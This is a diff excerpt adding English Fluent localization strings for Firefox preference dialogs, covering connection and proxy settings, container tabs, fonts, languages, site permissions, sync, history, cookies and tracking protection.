+    .label = Underline links
+    .accesskey = U
+
+colors-links-header = Link Colors
+
+colors-unvisited-links = Unvisited Links
+    .accesskey = L
+
+colors-visited-links = Visited Links
+    .accesskey = V
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+connection-window =
+    .title = Connection Settings
+    .style =
+        { PLATFORM() ->
+            [macos] width: 44em
+           *[other] width: 49em
+        }
+
+connection-close-key =
+    .key = w
+
+connection-disable-extension =
+    .label = Disable Extension
+
+connection-proxy-configure = Configure Proxy Access to the Internet
+
+connection-proxy-option-no =
+    .label = No proxy
+    .accesskey = y
+connection-proxy-option-system =
+    .label = Use system proxy settings
+    .accesskey = U
+connection-proxy-option-auto =
+    .label = Auto-detect proxy settings for this network
+    .accesskey = w
+connection-proxy-option-manual =
+    .label = Manual proxy configuration
+    .accesskey = M
+
+connection-proxy-http = HTTP Proxy
+    .accesskey = x
+connection-proxy-http-port = Port
+    .accesskey = P
+connection-proxy-http-share =
+    .label = Use this proxy server for all protocols
+    .accesskey = s
+
+connection-proxy-ssl = SSL Proxy
+    .accesskey = L
+connection-proxy-ssl-port = Port
+    .accesskey = o
+
+connection-proxy-ftp = FTP Proxy
+    .accesskey = F
+connection-proxy-ftp-port = Port
+    .accesskey = r
+
+connection-proxy-socks = SOCKS Host
+    .accesskey = C
+connection-proxy-socks-port = Port
+    .accesskey = t
+
+connection-proxy-socks4 =
+    .label = SOCKS v4
+    .accesskey = K
+connection-proxy-socks5 =
+    .label = SOCKS v5
+    .accesskey = v
+connection-proxy-noproxy = No Proxy for
+    .accesskey = N
+
+connection-proxy-noproxy-desc = Example: .mozilla.org, .net.nz, 192.168.1.0/24
+
+connection-proxy-autotype =
+    .label = Automatic proxy configuration URL
+    .accesskey = A
+
+connection-proxy-reload =
+    .label = Reload
+    .accesskey = e
+
+connection-proxy-autologin =
+    .label = Do not prompt for authentication if password is saved
+    .accesskey = i
+    .tooltip = This option silently authenticates you to proxies when you have saved credentials for them. You will be prompted if authentication fails.
+
+connection-proxy-socks-remote-dns =
+    .label = Proxy DNS when using SOCKS v5
+    .accesskey = D
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+containers-window-new =
+    .title = Add New Container
+    .style = width: 45em
+# Variables
+#   $name (String) - Name of the container
+containers-window-update =
+    .title = { $name } Container Preferences
+    .style = width: 45em
+
+containers-window-close =
+    .key = w
+
+# This is a term to store style to be applied
+# on the three labels in the containers add/edit dialog:
+#   - name
+#   - icon
+#   - color
+#
+# Using this term and referencing it in the `.style` attribute
+# of the three messages ensures that all three labels
+# will be aligned correctly.
+-containers-labels-style = min-width: 4rem
+
+containers-name-label = Name
+    .accesskey = N
+    .style = { -containers-labels-style }
+
+containers-name-text =
+    .placeholder = Enter a container name
+
+containers-icon-label = Icon
+    .accesskey = I
+    .style = { -containers-labels-style }
+
+containers-color-label = Color
+    .accesskey = o
+    .style = { -containers-labels-style }
+
+containers-button-done =
+    .label = Done
+    .accesskey = D
+
+containers-color-blue =
+    .label = Blue
+containers-color-turquoise =
+    .label = Turquoise
+containers-color-green =
+    .label = Green
+containers-color-yellow =
+    .label = Yellow
+containers-color-orange =
+    .label = Orange
+containers-color-red =
+    .label = Red
+containers-color-pink =
+    .label = Pink
+containers-color-purple =
+    .label = Purple
+
+containers-icon-fingerprint =
+    .label = Fingerprint
+containers-icon-briefcase =
+    .label = Briefcase
+# String represents a money sign but currently uses a dollar sign
+# so don't change to local currency. See Bug 1291672.
+containers-icon-dollar =
+    .label = Dollar sign
+containers-icon-cart =
+    .label = Shopping cart
+containers-icon-circle =
+    .label = Dot
+containers-icon-vacation =
+    .label = Vacation
+containers-icon-gift =
+    .label = Gift
+containers-icon-food =
+    .label = Food
+containers-icon-fruit =
+    .label = Fruit
+containers-icon-pet =
+    .label = Pet
+containers-icon-tree =
+    .label = Tree
+containers-icon-chill =
+    .label = Chill
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+fonts-window =
+    .title = Fonts
+
+fonts-window-close =
+    .key = w
+
+## Font groups by language
+
+fonts-langgroup-header = Fonts for
+    .accesskey = F
+
+fonts-langgroup-arabic =
+    .label = Arabic
+fonts-langgroup-armenian =
+    .label = Armenian
+fonts-langgroup-bengali =
+    .label = Bengali
+fonts-langgroup-simpl-chinese =
+    .label = Simplified Chinese
+fonts-langgroup-trad-chinese-hk =
+    .label = Traditional Chinese (Hong Kong)
+fonts-langgroup-trad-chinese =
+    .label = Traditional Chinese (Taiwan)
+fonts-langgroup-cyrillic =
+    .label = Cyrillic
+fonts-langgroup-devanagari =
+    .label = Devanagari
+fonts-langgroup-ethiopic =
+    .label = Ethiopic
+fonts-langgroup-georgian =
+    .label = Georgian
+fonts-langgroup-el =
+    .label = Greek
+fonts-langgroup-gujarati =
+    .label = Gujarati
+fonts-langgroup-gurmukhi =
+    .label = Gurmukhi
+fonts-langgroup-japanese =
+    .label = Japanese
+fonts-langgroup-hebrew =
+    .label = Hebrew
+fonts-langgroup-kannada =
+    .label = Kannada
+fonts-langgroup-khmer =
+    .label = Khmer
+fonts-langgroup-korean =
+    .label = Korean
+# Translate "Latin" as the name of Latin (Roman) script, not as the name of the Latin language.
+fonts-langgroup-latin =
+    .label = Latin
+fonts-langgroup-malayalam =
+    .label = Malayalam
+fonts-langgroup-math =
+    .label = Mathematics
+fonts-langgroup-odia =
+    .label = Odia
+fonts-langgroup-sinhala =
+    .label = Sinhala
+fonts-langgroup-tamil =
+    .label = Tamil
+fonts-langgroup-telugu =
+    .label = Telugu
+fonts-langgroup-thai =
+    .label = Thai
+fonts-langgroup-tibetan =
+    .label = Tibetan
+fonts-langgroup-canadian =
+    .label = Unified Canadian Syllabary
+fonts-langgroup-other =
+    .label = Other Writing Systems
+
+## Default fonts and their sizes
+
+fonts-proportional-header = Proportional
+    .accesskey = P
+
+fonts-default-serif =
+    .label = Serif
+fonts-default-sans-serif =
+    .label = Sans Serif
+
+fonts-proportional-size = Size
+    .accesskey = z
+
+fonts-serif = Serif
+    .accesskey = S
+
+fonts-sans-serif = Sans-serif
+    .accesskey = n
+
+fonts-monospace = Monospace
+    .accesskey = M
+
+fonts-monospace-size = Size
+    .accesskey = e
+
+fonts-minsize = Minimum font size
+    .accesskey = o
+
+fonts-minsize-none =
+    .label = None
+
+fonts-allow-own =
+    .label = Allow pages to choose their own fonts, instead of your selections above
+    .accesskey = A
+
+## Text Encodings
+##
+## Translate the encoding names as adjectives for an encoding, not as the name
+## of the language.
+
+fonts-languages-fallback-header = Text Encoding for Legacy Content
+fonts-languages-fallback-desc = This text encoding is used for legacy content that fails to declare its encoding.
+
+fonts-languages-fallback-label = Fallback Text Encoding
+    .accesskey = T
+
+fonts-languages-fallback-name-auto =
+    .label = Default for Current Locale
+fonts-languages-fallback-name-arabic =
+    .label = Arabic
+fonts-languages-fallback-name-baltic =
+    .label = Baltic
+fonts-languages-fallback-name-ceiso =
+    .label = Central European, ISO
+fonts-languages-fallback-name-cewindows =
+    .label = Central European, Microsoft
+fonts-languages-fallback-name-simplified =
+    .label = Chinese, Simplified
+fonts-languages-fallback-name-traditional =
+    .label = Chinese, Traditional
+fonts-languages-fallback-name-cyrillic =
+    .label = Cyrillic
+fonts-languages-fallback-name-greek =
+    .label = Greek
+fonts-languages-fallback-name-hebrew =
+    .label = Hebrew
+fonts-languages-fallback-name-japanese =
+    .label = Japanese
+fonts-languages-fallback-name-korean =
+    .label = Korean
+fonts-languages-fallback-name-thai =
+    .label = Thai
+fonts-languages-fallback-name-turkish =
+    .label = Turkish
+fonts-languages-fallback-name-vietnamese =
+    .label = Vietnamese
+fonts-languages-fallback-name-other =
+    .label = Other (incl. Western European)
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+languages-window =
+    .title = Languages
+    .style = width: 30em
+
+languages-close-key =
+    .key = w
+
+languages-description = Web pages are sometimes offered in more than one language. Choose languages for displaying these web pages, in order of preference
+
+languages-customize-spoof-english =
+    .label = Request English versions of web pages for enhanced privacy
+
+languages-customize-moveup =
+    .label = Move Up
+    .accesskey = U
+
+languages-customize-movedown =
+    .label = Move Down
+    .accesskey = D
+
+languages-customize-remove =
+    .label = Remove
+    .accesskey = R
+
+languages-customize-select-language =
+    .placeholder = Select a language to add…
+
+languages-customize-add =
+    .label = Add
+    .accesskey = A
+# Variables:
+#   $num - default value of the `dom.ipc.processCount` pref.
+default-content-process-count
+    .label = { $num } (default)
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+permissions-window =
+    .title = Exceptions
+    .style = width: 45em
+
+permissions-close-key =
+    .key = w
+
+permissions-address = Address of website
+    .accesskey = d
+
+permissions-block =
+    .label = Block
+    .accesskey = B
+
+permissions-session =
+    .label = Allow for Session
+    .accesskey = S
+
+permissions-allow =
+    .label = Allow
+    .accesskey = A
+
+permissions-site-name =
+    .label = Website
+
+permissions-status =
+    .label = Status
+
+permissions-remove =
+    .label = Remove Website
+    .accesskey = R
+
+permissions-remove-all =
+    .label = Remove All Websites
+    .accesskey = e
+
+permissions-button-cancel =
+    .label = Cancel
+    .accesskey = C
+
+permissions-button-ok =
+    .label = Save Changes
+    .accesskey = S
+
+permissions-searchbox =
+    .placeholder = Search Website
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+do-not-track-description = Send websites a “Do Not Track” signal that you don’t want to be tracked
+do-not-track-learn-more = Learn more
+do-not-track-option-default =
+    .label = Only when using Tracking Protection
+do-not-track-option-always =
+    .label = Always
+
+pref-page =
+    .title =
+        { PLATFORM() ->
+            [windows] Options
+           *[other] Preferences
+        }
+
+# This is used to determine the width of the search field in about:preferences,
+# in order to make the entire placeholder string visible
+#
+# Notice: The value of the `.style` attribute is a CSS string, and the `width`
+# is the name of the CSS property. It is intended only to adjust the element's width.
+# Do not translate.
+search-input =
+    .style = width: 15.4em
+
+# This is used to determine the width of the search field in about:preferences,
+# in order to make the entire placeholder string visible
+#
+# Please keep the placeholder string short to avoid truncation.
+#
+# Notice: The value of the `.style` attribute is a CSS string, and the `width`
+# is the name of the CSS property. It is intended only to adjust the element's width.
+# Do not translate.
+search-input-box =
+    .style = width: 15.4em
+    .placeholder =
+        { PLATFORM() ->
+            [windows] Find in Options
+           *[other] Find in Preferences
+        }
+
+policies-notice =
+    { PLATFORM() ->
+        [windows] Your organization has disabled the ability to change some options.
+       *[other] Your organization has disabled the ability to change some preferences.
+    }
+
+pane-general-title = General
+category-general =
+    .tooltiptext = { pane-general-title }
+
+pane-home-title = Home
+category-home =
+    .tooltiptext = { pane-home-title }
+
+pane-search-title = Search
+category-search =
+    .tooltiptext = { pane-search-title }
+
+pane-privacy-title = Privacy & Security
+category-privacy =
+    .tooltiptext = { pane-privacy-title }
+
+# The word "account" can be translated, do not translate or transliterate "Firefox".
+pane-sync-title = Firefox Account
+category-sync =
+    .tooltiptext = { pane-sync-title }
+
+help-button-label = { -brand-short-name } Support
+
+focus-search =
+    .key = f
+
+close-button =
+    .aria-label = Close
+
+## Browser Restart Dialog
+
+feature-enable-requires-restart = { -brand-short-name } must restart to enable this feature.
+feature-disable-requires-restart = { -brand-short-name } must restart to disable this feature.
+should-restart-title = Restart { -brand-short-name }
+should-restart-ok = Restart { -brand-short-name } now
+cancel-no-restart-button = Cancel
+restart-later = Restart Later
+
+## Extension Control Notifications
+##
+## These strings are used to inform the user
+## about changes made by extensions to browser settings.
+##
+## <img data-l10n-name="icon"/> is going to be replaced by the extension icon.
+##
+## Variables:
+##   $name (String): name of the extension
+
+# This string is shown to notify the user that their home page
+# is being controlled by an extension.
+extension-controlled-homepage-override = An extension, <img data-l10n-name="icon"/> { $name }, is controlling your home page.
+
+# This string is shown to notify the user that their new tab page
+# is being controlled by an extension.
+extension-controlled-new-tab-url = An extension, <img data-l10n-name="icon"/> { $name }, is controlling your New Tab page.
+
+# This string is shown to notify the user that the default search engine
+# is being controlled by an extension.
+extension-controlled-default-search = An extension, <img data-l10n-name="icon"/> { $name }, has set your default search engine.
+
+# This string is shown to notify the user that Container Tabs
+# are being enabled by an extension.
+extension-controlled-privacy-containers = An extension, <img data-l10n-name="icon"/> { $name }, requires Container Tabs.
+
+# This string is shown to notify the user that their tracking protection preferences
+# are being controlled by an extension.
+extension-controlled-websites-tracking-protection-mode = An extension, <img data-l10n-name="icon"/> { $name }, is controlling tracking protection.
+
+# This string is shown to notify the user that their proxy configuration preferences
+# are being controlled by an extension.
+extension-controlled-proxy-config = An extension, <img data-l10n-name="icon"/> { $name }, is controlling how { -brand-short-name } connects to the internet.
+
+# This string is shown after the user disables an extension to notify the user
+# how to enable an extension that they disabled.
+#
+# <img data-l10n-name="addons-icon"/> will be replaced with Add-ons icon
+# <img data-l10n-name="menu-icon"/> will be replaced with Menu icon
+extension-controlled-enable = To enable the extension go to <img data-l10n-name="addons-icon"/> Add-ons in the <img data-l10n-name="menu-icon"/> menu.
+
+## Preferences UI Search Results
+
+search-results-header = Search Results
+
+# `<span data-l10n-name="query"></span>` will be replaced by the search term.
+search-results-empty-message =
+    { PLATFORM() ->
+        [windows] Sorry! There are no results in Options for “<span data-l10n-name="query"></span>”.
+       *[other] Sorry! There are no results in Preferences for “<span data-l10n-name="query"></span>”.
+    }
+
+search-results-help-link = Need help? Visit <a data-l10n-name="url">{ -brand-short-name } Support</a>
+
+## General Section
+
+startup-header = Startup
+
+# { -brand-short-name } will be 'Firefox Developer Edition',
+# since this setting is only exposed in Firefox Developer Edition
+separate-profile-mode =
+    .label = Allow { -brand-short-name } and Firefox to run at the same time
+use-firefox-sync = Tip: This uses separate profiles. Use { -sync-brand-short-name } to share data between them.
+get-started-not-logged-in = Sign in to { -sync-brand-short-name }…
+get-started-configured = Open { -sync-brand-short-name } preferences
+
+always-check-default =
+    .label = Always check if { -brand-short-name } is your default browser
+    .accesskey = y
+
+is-default = { -brand-short-name } is currently your default browser
+is-not-default = { -brand-short-name } is not your default browser
+
+set-as-my-default-browser =
+    .label = Make Default…
+    .accesskey = D
+
+startup-page = When { -brand-short-name } starts
+    .accesskey = s
+
+startup-user-homepage =
+    .label = Show your home page
+startup-blank-page =
+    .label = Show a blank page
+startup-prev-session =
+    .label = Show your windows and tabs from last time
+
+startup-restore-previous-session =
+    .label = Restore previous session
+    .accesskey = s
+
+disable-extension =
+    .label = Disable Extension
+
+home-page-header = Home page
+
+tabs-group-header = Tabs
+
+ctrl-tab-recently-used-order =
+    .label = Ctrl+Tab cycles through tabs in recently used order
+    .accesskey = T
+
+open-new-link-as-tabs =
+    .label = Open links in tabs instead of new windows
+    .accesskey = w
+
+warn-on-close-multiple-tabs =
+    .label = Warn you when closing multiple tabs
+    .accesskey = m
+
+warn-on-open-many-tabs =
+    .label = Warn you when opening multiple tabs might slow down { -brand-short-name }
+    .accesskey = d
+
+switch-links-to-new-tabs =
+    .label = When you open a link in a new tab, switch to it immediately
+    .accesskey = h
+
+show-tabs-in-taskbar =
+    .label = Show tab previews in the Windows taskbar
+    .accesskey = k
+
+browser-containers-enabled =
+    .label = Enable Container Tabs
+    .accesskey = n
+
+browser-containers-learn-more = Learn more
+
+browser-containers-settings =
+    .label = Settings…
+    .accesskey = i
+
+containers-disable-alert-title = Close All Container Tabs?
+containers-disable-alert-desc =
+    { $tabCount ->
+        [one] If you disable Container Tabs now, { $tabCount } container tab will be closed. Are you sure you want to disable Container Tabs?
+       *[other] If you disable Container Tabs now, { $tabCount } container tabs will be closed. Are you sure you want to disable Container Tabs?
+    }
+
+containers-disable-alert-ok-button =
+    { $tabCount ->
+        [one] Close { $tabCount } Container Tab
+       *[other] Close { $tabCount } Container Tabs
+    }
+containers-disable-alert-cancel-button = Keep enabled
+
+containers-remove-alert-title = Remove This Container?
+
+# Variables:
+#   $count (Number) - Number of tabs that will be closed.
+containers-remove-alert-msg =
+    { $count ->
+        [one] If you remove this Container now, { $count } container tab will be closed. Are you sure you want to remove this Container?
+       *[other] If you remove this Container now, { $count } container tabs will be closed. Are you sure you want to remove this Container?
+    }
+
+containers-remove-ok-button = Remove this Container
+containers-remove-cancel-button = Don’t remove this Container
+
+
+## General Section - Language & Appearance
+
+language-and-appearance-header = Language and Appearance
+
+fonts-and-colors-header = Fonts & Colors
+
+default-font = Default font
+    .accesskey = D
+default-font-size = Size
+    .accesskey = S
+
+advanced-fonts =
+    .label = Advanced…
+    .accesskey = A
+
+colors-settings =
+    .label = Colors…
+    .accesskey = C
+
+language-header = Language
+
+choose-language-description = Choose your preferred language for displaying pages
+
+choose-button =
+    .label = Choose…
+    .accesskey = o
+
+translate-web-pages =
+    .label = Translate web content
+    .accesskey = T
+
+# The <img> element is replaced by the logo of the provider
+# used to provide machine translations for web pages.
+translate-attribution = Translations by <img data-l10n-name="logo"/>
+
+translate-exceptions =
+    .label = Exceptions…
+    .accesskey = x
+
+check-user-spelling =
+    .label = Check your spelling as you type
+    .accesskey = t
+
+## General Section - Files and Applications
+
+files-and-applications-title = Files and Applications
+
+download-header = Downloads
+
+download-save-to =
+    .label = Save files to
+    .accesskey = v
+
+download-choose-folder =
+    .label =
+        { PLATFORM() ->
+            [macos] Choose…
+           *[other] Browse…
+        }
+    .accesskey =
+        { PLATFORM() ->
+            [macos] e
+           *[other] o
+        }
+
+download-always-ask-where =
+    .label = Always ask you where to save files
+    .accesskey = A
+
+applications-header = Applications
+
+applications-description = Choose how { -brand-short-name } handles the files you download from the web or the applications you use while browsing.
+
+applications-filter =
+    .placeholder = Search file types or applications
+
+applications-type-column =
+    .label = Content Type
+    .accesskey = T
+
+applications-action-column =
+    .label = Action
+    .accesskey = A
+
+drm-content-header = Digital Rights Management (DRM) Content
+
+play-drm-content =
+    .label = Play DRM-controlled content
+    .accesskey = P
+
+play-drm-content-learn-more = Learn more
+
+update-application-title = { -brand-short-name } Updates
+
+update-application-description = Keep { -brand-short-name } up to date for the best performance, stability, and security.
+
+update-application-info = Version { $version } <a>What's new</a>
+
+update-application-version = Version { $version } <a data-l10n-name="learn-more">What’s new</a>
+
+update-history =
+    .label = Show Update History…
+    .accesskey = p
+
+update-application-allow-description = Allow { -brand-short-name } to
+
+update-application-auto =
+    .label = Automatically install updates (recommended)
+    .accesskey = A
+
+update-application-check-choose =
+    .label = Check for updates but let you choose to install them
+    .accesskey = C
+
+update-application-manual =
+    .label = Never check for updates (not recommended)
+    .accesskey = N
+
+update-application-use-service =
+    .label = Use a background service to install updates
+    .accesskey = b
+
+update-enable-search-update =
+    .label = Automatically update search engines
+    .accesskey = e
+
+## General Section - Performance
+
+performance-title = Performance
+
+performance-use-recommended-settings-checkbox =
+    .label = Use recommended performance settings
+    .accesskey = U
+
+performance-use-recommended-settings-desc = These settings are tailored to your computer’s hardware and operating system.
+
+performance-settings-learn-more = Learn more
+
+performance-allow-hw-accel =
+    .label = Use hardware acceleration when available
+    .accesskey = r
+
+performance-limit-content-process-option = Content process limit
+    .accesskey = l
+
+performance-limit-content-process-enabled-desc = Additional content processes can improve performance when using multiple tabs, but will also use more memory.
+performance-limit-content-process-disabled-desc = Modifying the number of content processes is only possible with multiprocess { -brand-short-name }. <a>Learn how to check if multiprocess is enabled</a>
+
+performance-limit-content-process-blocked-desc = Modifying the number of content processes is only possible with multiprocess { -brand-short-name }. <a data-l10n-name="learn-more">Learn how to check if multiprocess is enabled</a>
+
+# Variables:
+#   $num - default value of the `dom.ipc.processCount` pref.
+performance-default-content-process-count =
+    .label = { $num } (default)
+
+## General Section - Browsing
+
+browsing-title = Browsing
+
+browsing-use-autoscroll =
+    .label = Use autoscrolling
+    .accesskey = a
+
+browsing-use-smooth-scrolling =
+    .label = Use smooth scrolling
+    .accesskey = m
+
+browsing-use-onscreen-keyboard =
+    .label = Show a touch keyboard when necessary
+    .accesskey = c
+
+browsing-use-cursor-navigation =
+    .label = Always use the cursor keys to navigate within pages
+    .accesskey = k
+
+browsing-search-on-start-typing =
+    .label = Search for text when you start typing
+    .accesskey = x
+
+## General Section - Proxy
+
+network-proxy-title = Network Proxy
+
+network-proxy-connection-description = Configure how { -brand-short-name } connects to the internet.
+
+network-proxy-connection-learn-more = Learn More
+
+network-proxy-connection-settings =
+    .label = Settings…
+    .accesskey = e
+
+## Home Section
+
+home-new-windows-tabs-header = New Windows and Tabs
+
+home-new-windows-tabs-description2 = Choose what you see when you open your homepage, new windows, and new tabs.
+
+## Home Section - Home Page Customization
+
+home-homepage-mode-label = Homepage and new windows
+
+home-newtabs-mode-label = New tabs
+
+home-restore-defaults =
+    .label = Restore Defaults
+    .accesskey = R
+
+# "Firefox" should be treated as a brand and kept in English,
+# while "Home" and "(Default)" can be localized.
+home-mode-choice-default =
+    .label = Firefox Home (Default)
+
+home-mode-choice-custom =
+    .label = Custom URLs…
+
+home-mode-choice-blank =
+    .label = Blank Page
+
+home-homepage-custom-url =
+    .placeholder = Paste a URL…
+
+# This string has a special case for '1' and [other] (default). If necessary for
+# your language, you can add {$tabCount} to your translations and use the
+# standard CLDR forms, or only use the form for [other] if both strings should
+# be identical.
+use-current-pages =
+    .label =
+        { $tabCount ->
+            [1] Use Current Page
+           *[other] Use Current Pages
+        }
+    .accesskey = C
+
+choose-bookmark =
+    .label = Use Bookmark…
+    .accesskey = B
+
+restore-default =
+    .label = Restore to Default
+    .accesskey = R
+
+## Search Section
+
+search-bar-header = Search Bar
+search-bar-hidden =
+    .label = Use the address bar for search and navigation
+search-bar-shown =
+    .label = Add search bar in toolbar
+
+search-engine-default-header = Default Search Engine
+search-engine-default-desc = Choose the default search engine to use in the address bar and search bar.
+
+search-suggestions-option =
+    .label = Provide search suggestions
+    .accesskey = s
+
+search-show-suggestions-url-bar-option =
+    .label = Show search suggestions in address bar results
+    .accesskey = l
+
+# This string describes what the user will observe when the system
+# prioritizes search suggestions over browsing history in the results
+# that extend down from the address bar. In the original English string,
+# "ahead" refers to location (appearing most proximate to), not time
+# (appearing before).
+search-show-suggestions-above-history-option =
+    .label = Show search suggestions ahead of browsing history in address bar results
+
+search-suggestions-cant-show = Search suggestions will not be shown in location bar results because you have configured { -brand-short-name } to never remember history.
+
+search-one-click-header = One-Click Search Engines
+
+search-one-click-desc = Choose the alternative search engines that appear below the address bar and search bar when you start to enter a keyword.
+
+search-choose-engine-column =
+    .label = Search Engine
+search-choose-keyword-column =
+    .label = Keyword
+
+search-restore-default =
+    .label = Restore Default Search Engines
+    .accesskey = D
+
+search-remove-engine =
+    .label = Remove
+    .accesskey = R
+
+search-find-more-link = Find more search engines
+
+# This warning is displayed when the chosen keyword is already in use
+# ('Duplicate' is an adjective)
+search-keyword-warning-title = Duplicate Keyword
+# Variables:
+#   $name (String) - Name of a search engine.
+search-keyword-warning-engine = You have chosen a keyword that is currently in use by “{ $name }”. Please select another.
+search-keyword-warning-bookmark = You have chosen a keyword that is currently in use by a bookmark. Please select another.
+
+## Containers Section
+
+containers-back-link = « Go Back
+containers-header = Container Tabs
+containers-add-button =
+    .label = Add New Container
+    .accesskey = A
+
+containers-preferences-button =
+    .label = Preferences
+containers-remove-button =
+    .label = Remove
+
+## Sync Section - Signed out
+
+sync-signedout-caption = Take Your Web With You
+sync-signedout-description = Synchronize your bookmarks, history, tabs, passwords, add-ons, and preferences across all your devices.
+
+sync-signedout-account-title = Connect with a { -fxaccount-brand-name }
+sync-signedout-account-create = Don’t have an account? Get started
+    .accesskey = c
+
+sync-signedout-account-signin =
+    .label = Sign In…
+    .accesskey = I
+
+# This message contains two links and two icon images.
+#   `<img data-l10n-name="android-icon"/>` - Android logo icon
+#   `<a data-l10n-name="android-link">` - Link to Android Download
+#   `<img data-l10n-name="ios-icon">` - iOS logo icon
+#   `<a data-l10n-name="ios-link">` - Link to iOS Download
+#
+# They can be moved within the sentence as needed to adapt
+# to your language, but should not be changed or translated.
+sync-mobile-promo = Download Firefox for <img data-l10n-name="android-icon"/> <a data-l10n-name="android-link">Android</a> or <img data-l10n-name="ios-icon"/> <a data-l10n-name="ios-link">iOS</a> to sync with your mobile device.
+
+## Sync Section - Signed in
+
+sync-profile-picture =
+    .tooltiptext = Change profile picture
+
+sync-disconnect =
+    .label = Disconnect…
+    .accesskey = D
+
+sync-manage-account = Manage account
+    .accesskey = o
+
+sync-signedin-unverified = { $email } is not verified.
+sync-signedin-login-failure = Please sign in to reconnect { $email }
+
+sync-resend-verification =
+    .label = Resend Verification
+    .accesskey = d
+
+sync-remove-account =
+    .label = Remove Account
+    .accesskey = R
+
+sync-sign-in =
+    .label = Sign in
+    .accesskey = g
+
+sync-signedin-settings-header = Sync Settings
+sync-signedin-settings-desc = Choose what to synchronize on your devices using { -brand-short-name }
+
+sync-engine-bookmarks =
+    .label = Bookmarks
+    .accesskey = m
+
+sync-engine-history =
+    .label = History
+    .accesskey = r
+
+sync-engine-tabs =
+    .label = Open tabs
+    .tooltiptext = A list of what’s open on all synced devices
+    .accesskey = t
+
+sync-engine-logins =
+    .label = Logins
+    .tooltiptext = Usernames and passwords you’ve saved
+    .accesskey = L
+
+sync-engine-addresses =
+    .label = Addresses
+    .tooltiptext = Postal addresses you’ve saved (desktop only)
+    .accesskey = e
+
+sync-engine-creditcards =
+    .label = Credit cards
+    .tooltiptext = Names, numbers and expiry dates (desktop only)
+    .accesskey = C
+
+sync-engine-addons =
+    .label = Add-ons
+    .tooltiptext = Extensions and themes for Firefox desktop
+    .accesskey = A
+
+sync-engine-prefs =
+    .label =
+        { PLATFORM() ->
+            [windows] Options
+           *[other] Preferences
+        }
+    .tooltiptext = General, Privacy, and Security settings you’ve changed
+    .accesskey = s
+
+sync-device-name-header = Device Name
+
+sync-device-name-change =
+    .label = Change Device Name…
+    .accesskey = h
+
+sync-device-name-cancel =
+    .label = Cancel
+    .accesskey = n
+
+sync-device-name-save =
+    .label = Save
+    .accesskey = v
+
+sync-mobilepromo-single = Connect another device
+
+sync-mobilepromo-multi = Manage devices
+
+sync-tos-link = Terms of Service
+
+sync-fxa-privacy-notice = Privacy Notice
+
+## Privacy Section
+
+privacy-header = Browser Privacy
+
+## Privacy Section - Forms
+
+forms-header = Forms & Passwords
+forms-ask-to-save-logins =
+    .label = Ask to save logins and passwords for websites
+    .accesskey = r
+forms-exceptions =
+    .label = Exceptions…
+    .accesskey = x
+forms-saved-logins =
+    .label = Saved Logins…
+    .accesskey = L
+forms-master-pw-use =
+    .label = Use a master password
+    .accesskey = U
+forms-master-pw-change =
+    .label = Change Master Password
+    .accesskey = M
+
+## Privacy Section - History
+
+history-header = History
+
+# This label is followed, on the same line, by a dropdown list of options
+# (Remember history, etc.).
+# In English it visually creates a full sentence, e.g.
+# "Firefox will" + "Remember history".
+#
+# If this doesn't work for your language, you can translate this message:
+#   - Simply as "Firefox", moving the verb into each option.
+#     This will result in "Firefox" + "Will remember history", etc.
+#   - As a stand-alone message, for example "Firefox history settings:".
+history-remember-label = { -brand-short-name } will
+    .accesskey = w
+
+history-remember-option-all =
+    .label = Remember history
+history-remember-option-never =
+    .label = Never remember history
+history-remember-option-custom =
+    .label = Use custom settings for history
+
+history-remember-description = { -brand-short-name } will remember your browsing, download, form and search history.
+history-dontremember-description = { -brand-short-name } will use the same settings as private browsing, and will not remember any history as you browse the Web.
+
+history-private-browsing-permanent =
+    .label = Always use private browsing mode
+    .accesskey = p
+
+history-remember-option =
+    .label = Remember my browsing and download history
+    .accesskey = b
+
+history-remember-search-option =
+    .label = Remember search and form history
+    .accesskey = f
+
+history-clear-on-close-option =
+    .label = Clear history when { -brand-short-name } closes
+    .accesskey = r
+
+history-clear-on-close-settings =
+    .label = Settings…
+    .accesskey = t
+
+history-clear-button =
+    .label = Clear History…
+    .accesskey = s
+
+## Privacy Section - Site Data
+
+sitedata-header = Cookies and Site Data
+
+sitedata-learn-more = Learn more
+
+sitedata-accept-cookies-option =
+    .label = Accept cookies and site data from websites (recommended)
+    .accesskey = A
+
+sitedata-block-cookies-option =
+    .label = Block cookies and site data (may cause websites to break)
+    .accesskey = B
+
+sitedata-keep-until = Keep until
+    .accesskey = u
+
+sitedata-keep-until-expire =
+    .label = They expire
+sitedata-keep-until-closed =
+    .label = { -brand-short-name } is closed
+
+sitedata-accept-third-party-desc = Accept third-party cookies and site data
+    .accesskey = y
+
+sitedata-accept-third-party-always-option =
+    .label = Always
+sitedata-accept-third-party-visited-option =
+    .label = From visited
+sitedata-accept-third-party-never-option =
+    .label = Never
+
+sitedata-clear =
+    .label = Clear Data…
+    .accesskey = l
+
+sitedata-settings =
+    .label = Manage Data…
+    .accesskey = M
+
+sitedata-cookies-exceptions =
+    .label = Exceptions…
+    .accesskey = E
+
+## Privacy Section - Address Bar
+
+addressbar-header = Address Bar
+
+addressbar-suggest = When using the address bar, suggest
+
+addressbar-locbar-history-option =
+    .label = Browsing history
+    .accesskey = h
+addressbar-locbar-bookmarks-option =
+    .label = Bookmarks
+    .accesskey = k
+addressbar-locbar-openpage-option =
+    .label = Open tabs
+    .accesskey = O
+
+addressbar-suggestions-settings = Change preferences for search engine suggestions
+
+## Privacy Section - Tracking
+
+tracking-header = Tracking Protection
+
+tracking-desc = Tracking Protection blocks online trackers that collect your browsing data across multiple websites. <a data-l10n-name="learn-more">Learn more about Tracking Protection and your privacy</a>
+
